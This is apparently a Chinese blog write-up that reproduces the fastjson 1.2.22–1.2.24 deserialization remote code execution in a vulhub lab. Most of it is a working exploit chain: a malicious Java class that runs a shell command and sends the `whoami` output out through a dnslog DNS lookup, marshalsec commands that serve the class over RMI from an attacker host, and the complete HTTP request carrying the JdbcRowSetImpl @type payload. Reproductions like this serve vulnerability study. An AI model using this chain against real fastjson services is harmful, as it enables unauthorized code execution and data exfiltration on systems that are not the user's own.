fastjson-1.2.24-rce

fastjson

发布日期: 2021-09-16

更新日期: 2021-12-11

文章字数: 1.2k

阅读时长: 4 分

阅读次数:

fastjson

java处理JSON数据有三个比较流行的类库

gson(google维护)
jackson
以及主角fastjson

fastjson是阿里巴巴一个开源的json相关的java library

fastjson简介

Fastjson可以将java的对象转换成json的形式，也可以用来将json转换成java对象，效率较高，被广泛的用在web服务以及android上

它的JSONString（）方法可以将java的对象转换成json格式，同样通过parseObject方法可以将json数据转换成java的对象

漏洞简介

fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象，也就是未对@type中加载进的类进行过滤，导致的这一版漏洞

主要由于利用templatesImlp这个类，这个类中有一个_bytecodes字段，部分函数能够根据这个字段来生成类的实例，这个类的构造函数是我们可控的，就能rce

影响版本

fastjson 1.2.22-1.2.24

靶机环境

攻击机：kali/vps（恶意java文件所在以及开启RMI服务）

靶机：另一台vps（vulhub靶场环境）

jkd1.8 + maven 3.3.9

maven安装

# 下载 https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/
# 解压
tar -zxvf 
# 配置环境变量
vim /etc/profile
添加
export MAVEN_HOME=/xxx/apache-maven-3.3.9 //maven位置
export PATH=${PATH}:${MAVEN_HOME}/bin
# 更新配置
source /etc/profile

复现

访问8090端口

流程

编写恶意类，编译为class文件
在class的目录用python开一个HTTP服务
marshalsec起一个RMI服务
burp构造包触发反序列化点远程加载恶意类

marshalsec是一款快速开启RMI和LDAP服务神器，由maven编译

RMI是远程方法调用，是一种实现远程过程调用的java api

编译生成.class文件

dnslog.java文件

import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog地址"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

javac dnslog.java生成.class文件

在当前目录下

python起一个http服务

监听在1234端口上

1	python -m SimpleHTTPServer 1234

marshalsec起一个RMI服务

HTTPServer服务与RMI可以在同一个服务器

监听9999端口并加载远程类dnslog.class

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
# mvn编译 marshalsec项目
mvn clean package -DskipTests

编译完成会出现BUILD SUCCESS，target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件

使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机9999端口开启一个RMI服务来加载dnslog.class文件

1	java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://生成dnslog.class的ip:1234/#dnslog" 9999

burp构造请求包

POST / HTTP/1.1
Host: 靶机Ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://生成dnslog.class的服务器ip:9999/dnslog",
            "autoCommit":true
        }
    }